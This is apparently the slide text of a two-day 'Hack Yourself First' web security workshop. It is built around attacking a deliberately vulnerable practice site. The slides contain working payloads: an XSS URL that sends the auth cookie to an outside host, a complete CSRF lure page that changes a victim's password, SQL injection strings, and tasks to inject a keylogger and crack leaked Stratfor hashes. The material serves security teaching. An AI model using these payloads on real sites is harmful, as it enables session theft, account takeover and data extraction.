Hack Yourself First
Troy Hunt @troyhunt troyhunt.com [email protected]
We’re gonna
turn you into
lean, mean
hacking
machines!
Because if we don’t, these kids
are going to hack you
Ryan Cleary, 20 (and his mum) Jake Davies, 19
Who are we protecting our assets from?
Hacker Competency Hacker Resources Bored kids Pocket money Super Hackers $10.8B per annum Common Thieves Can invest where ROI makes senseYour Hacker Tools for Today
• A Wi-Fi connection
• A mobile device you can configure a proxy on – I have a few spares
• Google Chrome
– Or another browser with good dev tools • Fiddler – getfiddler.com
What we’ll be covering on day 1
Introduction – 30 mins 09:00 Discovering risks via the browser – 30 mins 09:30 Using an HTTP proxy – 30 mins 10:00
Break – 15 mins 10:30
XSS – 50 mins 10:45 SQL injection part 1 – 55 mins 11:35
Lunch – 1 hour 12:30
Mobile APIs – 60 mins 13:30 CSRF – 50 mins 14:30
Break – 15 mins 15:20
Framework disclosure – 30 mins 15:35 Session hijacking – 35 mins 16:05 Wrap up – 20 mins 16:40
What we’ll be covering on day 2
Password cracking – 50 mins 09:00 Account Enumeration – 40 mins 10:00
Break – 15 mins 10:30
FiddlerScript – 50 mins 10:45 HTTPS – 55 mins 11:35
Lunch – 1 hour 12:30
Content Security Policy – 60 mins 13:30 SQL injection part 2 – 50 mins 14:30
Break – 15 mins 15:20
Brute force attacks – 30 mins 15:35 Automating attacks and review – 35 mins 16:05 Wrap up – 20 mins 16:40
Discovering risks via the browser
Exercise 1 – Chrome developer tools
• Familiarise yourself with the dev tools
– Elements, network, cookies, console, por… uh, incognito • Create an account at hackyourselffirst.troyhunt.com
Hacker Challenge 1:
Identify three security risks with the registration process
Using an HTTP proxy
Exercise 2 – Using an HTTP proxy
• Familiarise yourself with Fiddler
– Watch requests and their headers, review response body and headers, use the composer to reissue request
Hacker Challenge 2:
Use Fiddler to vote multiple times on 1 car with your ID
Reflected cross site scripting (XSS)
Understanding XSS
mysite.com/?q=<script>alert('Yay XSS!');</script>
<p>You searched for <%= Request.QueryString["q"] %></p>
<p>You searched for <script>alert('Yay XSS!');</script></p> mysite.com/?q=ferrari
Some quick XSS tips
• Check the encoding context
– You encode for HTML differently than for JavaScript • Check the encoding consistency
– Often it’s manual and some characters are not encoded • Play with JavaScript to:
– Manipulate the DOM, access cookies, load external resources
Exercise 3 – XSS
• Establish the encoding practices on the search page – What’s encoded, what’s not, what contexts are encoding • What can be accessed or manipulated in the DOM
Hacker Challenge 3:
Create an XSS attack that sends the auth cookie to another site
Exercise 3 solution
http://hackyourselffirst.troyhunt.com/Search?searchTerm= ');document.location='http://www.troyhunt.com/?c='%2bdocument
SQL injection (SQLi) part 1
Understanding SQLi
mysite.com/?id=foo
var query = "SELECT * FROM Widget WHERE Id = " query += Request.Query["id"]
SELECT * FROM Widget WHERE Id = foo mysite.com/?id=1
SELECT * FROM Widget WHERE Id = 1
Some quick SQLi tips
• Think of SQL commands which disclose structure – sys.tables, sys.columns, system commands
• Consider how you’d enumerate through records – Select top x rows asc then top 1 rows from that desc
• Write out how you think the query works internally – SELECT * FROM Supercar ORDER BY [URL param]
Exercise 4 – SQLi
• Explore the database using error-based SQLi – Construct strings to disclose internal data
– Cast things to invalid types to disclose via exceptions
Hacker Challenge 4:
Exercise 4 solution
http://hackyourselffirst.troyhunt.com/Make/1 ?orderby=@@VERSION*1
Mobile APIs
Who are we protecting our APIs from?
Attacker
Attacker
Trusting the Fiddler root cert
Some quick mobile API tips
• Look at the HTTP requests for sensitive data – Credentials, account info, PII
• Remove the proxy’s root cert and make HTTPS requests
– Is cert validation actually enabled in the app? • In your own apps:
Exercise 5 – Mobile APIs
• Proxy your device through Fiddler or Charles – Inspect the traffic of your apps
– Perform normal activities and monitor requests
Hacker Challenge 5:
Find three “things of interest” – doesn’t have to be security related
Cross site request forgery (CSRF)
Understanding CSRF
POST /Login/Account Set-Cookie: AuthCookie=XXX… GET /Path/To/Authenticated/Resource Authenticated request! Cookie: AuthCookie=XXX… CSRF here!Some quick CSRF tips
• Establish the request pattern to the target resource – What fields are being sent
• Reconstruct the request from your own resource – Normally a malicious page
• Lure the user into the malicious resource – Usually requires incentivisation
Exercise 6 – CSRF
• Mount your own CSRF attack – Reproduce a legitimate request
– Use it to perform a malicious action
Hacker Challenge 6:
Change the present user’s
password when they load your page
Exercise 6 solution
<html> <head>
<title>Win an iPhone!!!</title> </head>
<body style="text-align: center;">
<h1 style="font-size: 1.7em;">Want to win an iPhone? Of course you do! Click the button below and it's yours!!!</h1>
<form action="https://hackyourselffirst.troyhunt.com/Account/ChangePassword" method="POST"
target="hiddenFrame">
<input type="hidden" name="NewPassword" value="hackpword" /> <input type="hidden" name="ConfirmPassword" value="hackpword" />
<input type="submit" value="I wanna win!" onclick="alert('You won! Click ok and it\'s done')" style="font-size: 2em;" />
</form>
<p><img src="iPhone.jpg" style="width: 900px;" /></p>
<iframe name="hiddenFrame" style="display: none;"></iframe> </body>
Framework disclosure
Understanding framework disclosure risks
Learn of framework vulnerability
Search web for vulnerable sites
Some quick framework disclosure tips
• There are multiple ways the framework is leaked – This can differ by web stack
• Different requests can cause different leakage
– Consider the different ways in which a site may responds • Also think about other ways disclosure happens
Exercise 7 – Framework disclosure
• Discover the internal framework of the site – Identify what’s being implicitly leaked
– Cause the app to leak additional information
Hacker Challenge 7:
Identify 3 different ways in
which the internal framework is disclosed
Exercise 7 solution
1. Response headers (server, powered by, ASP.NET version, MVC version) 2. Unhandled exception stack trace (includes minor ASP.NET version)
3. Session ID cookie name (ASP.NET_SessionId) 4. Error page for 404 (includes minor ASP.NET version)
5. Database version via SQLi 6. ELMAH
HTTP field ordering
Apache 1.3.23
HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:10:49 GMT Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003… ETag: "32417-c4-3e5d8a83" Accept-Ranges: bytes Content-Length: 196 Connection: close Content-Type: text/html IIS 5.0 HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Content-Location: http://iis.example.com Date: Fri, 01 Jan 1999 20:13:52 GMT
Content-Type: text/html Accept-Ranges: bytes
Last-Modified: Fri, 01 Jan 1999… ETag: W/"e0d362a4c335be1:ae1" Content-Length: 133
Other fingerprinting indicators
• Forbidden resource
• Improper HTTP version • Improper protocol
Session hijacking
Understanding session hijacking
POST /Login/Account
Set-Cookie: AuthCookie=XXX…
Attacker steals the cookie
Some quick session hijacking tips
• Persistence over HTTP can be done multiple ways – Cookie, URL
• Session or auth ID can be obtained multiple ways – Insecure transport, referrer, stored in exceptions, XSS • Factors that limit hijacking
Exercise 8 – Session hijacking
• Mount a session hijacking attack – Identify how auth is being persisted
– Obtain the auth token using a vuln in the app
Hacker Challenge 8:
Use an XSS risk to obtain the auth token and recreate the session in another browser
For tomorrow – homework!
Download hashcat hashcat.net/hashcat Download the hashkiller dic tinyurl.com/hashkiller Download the Stratfor hashes
Download Python 2.7 for Windows tinyurl.com/StratforHashespython.org/downloads Download sqlmap sqlmap.org
What we’ll be covering on day 2
Password cracking – 50 mins 09:00 Account Enumeration – 40 mins 10:00
Break – 15 mins 10:30
FiddlerScript – 50 mins 10:45 HTTPS – 55 mins 11:35
Lunch – 1 hour 12:30
Content Security Policy – 60 mins 13:30 SQL injection part 2 – 50 mins 14:30
Break – 15 mins 15:20
Brute force attacks – 30 mins 15:35 Automating attacks and review – 35 mins 16:05 Wrap up – 20 mins 16:40
Password cracking
Understanding password hashing
passw0rd
Hashing algorithm
Cipher
Understanding password hashing with salt
passw0rd + random salt Hashing algorithm
Cipher
Store cipher and salt
Understanding hash cracking
• This is not about breaking the algorithm – You can’t “unhash”
• It’s about repeating the hash-creation process – It’s just a question of speed…
Some quick hash cracking tips
• There are multiple ways to crack – Character space: [a-zA-Z0-9]
– Dictionary: passw0rd, abc123, qwerty
– Mutations: manipulation and substitution of characters • Cracking is all about time factor – it’s not “absolute”
Exercise 9 – Password cracking
• Cracking the Stratfor password hashes – Identify the hashing algorithm
– Convert them to plain text
Hacker Challenge 9:
Use hashcat with the hashkiller dic to crack the Strafor hashes
Account enumeration
Understanding account enumeration
Does [email protected] have an account? No
Does [email protected] have an account? No
Does [email protected] have an account? Yes
Some quick account enumeration tips
• There are usually multiple vectors for identifying the existence of an account
• There may or may not be anti-automation defence – And it may be inconsistent across vectors
• It may or may not even matter… – Very dependent on the nature
Exercise 10 – Account enumeration
• Identify vectors for account enumeration
– Think about how to “ask” the site about an account – Identify positive versus negative responses
Hacker Challenge 10:
Identify 3 sites you use that disclose the presence of your account
FiddlerScript
Understanding FiddlerScript
• Highlight particular request / response patterns • Modify requests or responses in transit
• Good representation of what can be done with intercepted traffic
Some quick FiddlerScript tips
• Make good use of the FiddlerScript CookBook – Google it – first result
• Wrap conditions around response parsing for better perf
– Host name / path / content type / method
• Don’t forget to hit the “Save Script” button! – Plus debugging can be painful…
Exercise 11 – FiddlerScript
• Identify vectors for account enumeration – Identify request / response patterns of an app
– Manipulate request / response to cause misbehaviour
Hacker Challenge 11:
Proxy your mobile device and cause one of your apps to do something… “interesting”
HTTPS
Understanding HTTPS
Some quick HTTPS tips
• Consider everything sent over HTTP to be compromised
– Sometimes that won’t matter… much
• Also look at HTTPS content embedded in untrusted pages
– Iframes
Exercise 12 – HTTPS
• You can’t trust insecure login forms! – The form can be manipulated in transit
– Manipulate it to capture the “secure” credentials in transit
Hacker Challenge 12:
Inject a JavaScript keylogger into an insecure login page using Fiddler script
Injecting the keylogger
hackyourselffirst.troyhunt.com/scripts/keylogger.js Set the “destination” JavaScript variable
Content Security Policy (CSP)
Without a CSP
• Anything can be added to the page via a reflected XSS risk
• Anything can be added to the DOM downstream of the server
With a CSP
• The browser will only load resources you white-list – Local resources
– Remote resources
• Any violations can be reported
Some quick CSP tips
• Create a white list of what should be allowed to run • Start with nothing and see what breaks
– In development!
• Use the report feature to track exceptions – You’ll learn some interesting things…
Exercise 13 – CSP
• American Express needs help!
– They have no CSP and they’re a financial institution! – We can add one ourselves in transit
Hacker Challenge 13:
Write a CSP for American
Express and embed it using FiddlerScript
Injecting the CSP header
if (oSession.HostnameIs("www.americanexpress.com")) {
oSession.oResponse.headers["Content-Security-Policy"] = …; }
SQL injection (SQLi) part 2
Understanding (more) SQLi
Error Based Union Based
Understanding union based injection
• Error based worked due to improper handling of internal exceptions
• It was also laborious – one request per piece of internal data exposed
• Union based injection appends the result of an injected query to a legitimate query
Understanding (more) SQLi
Error Based Union Based
Understanding blind injection
• You can’t always rely on data being explicitly returned to the UI
• Sometimes we need to ask questions of the system and draw conclusions from the answers
Understanding boolean blind injection
• These are effectively yes / no questions
• The answer causes the system to return results in a different way
Lowercase letter ASCII table
a 97 b 98 c 99 d 100 e 101 f 102 g 103 h 104 i 105 j 106 k 107 l 108 m 109 n 110 o 111 p 112 q 113 r 114 s 115 t 116 u 117 v 118 w 119 x 120 y 121 z 122Discovering letters via ASCII ranges
<= m yes no … <= s yes no … <= v yes no <= t yes no … … = u yes no u vUnderstanding (more) SQLi
Error Based Union Based
Understanding time based blind injection
• It’s still a yes / no question, but there’s no output to determine the answer by
• In order to create an observable answer, we’ll ask the database to delay the response:
– “Yes”: respond immediately
A condition with a time based result
Exercise 14 – SQLi
• Establish which vectors exist for which SQLi styles – The may be only one vulnerable point in the app
– It usually takes patience to discover!
Hacker Challenge 14:
Use union based injection to return all email addresses and passwords
Brute force attacks
Understanding brute force attacks
• Functions may be exploited if an attacker is given enough attempts at it
• Controls may exist to limit unsuccessful attempts… – …but they can put usability at risk
– Sufficiently sophisticated attackers can circumvent many brute force defences
Some quick brute force attack tips
• Identify if any defences exists – They’re frequently missing
• Where defences exist, how are they implemented? – Block the resource being requested
– Block the source IP address
Exercise 15 – Brute force attacks
• Test for protection against brute force attacks – Consider resources that should provide a defence – Assess behaviour when attack-live activity occurs
Hacker Challenge 15:
Identify a lack of brute force protection in a site you use
Automating attacks and review
Understanding attack automation
supercarid%27+and+%27x%27%3D%27x convert%28int%2Cdb_name%28%29+COLLATE+SQL_Latin1_General_Cp12 54_CS_AS%29+and+1%3D1 convert%28int%2C%28char%2882%29%2bchar%2833%29%2b%28select+to p+1+cast%28count%28%5Bname%5D%29+as+nvarchar%284000%29%29+fro m+%5Bsysobjects%5D+where+xtype%3Dchar%2885%29+%29%2bchar%2833%29%2bchar%2882%29%29%29--NetSparker PDF Report
Some quick attack automation tips
• Consider how targets can be identified – Shodan, Googledorks, random crawling
• Think about the actions that adhere to a pattern – SQL injection, fuzzing, directory enumeration
• Automation can be used for good!
Exercise 16 – Attack automation
• Mount an automated SQLi attack – Use sqlmap to fast-track the attack – Analyse various vulnerable pages
Hacker Challenge 16:
Extract the entire schema from the database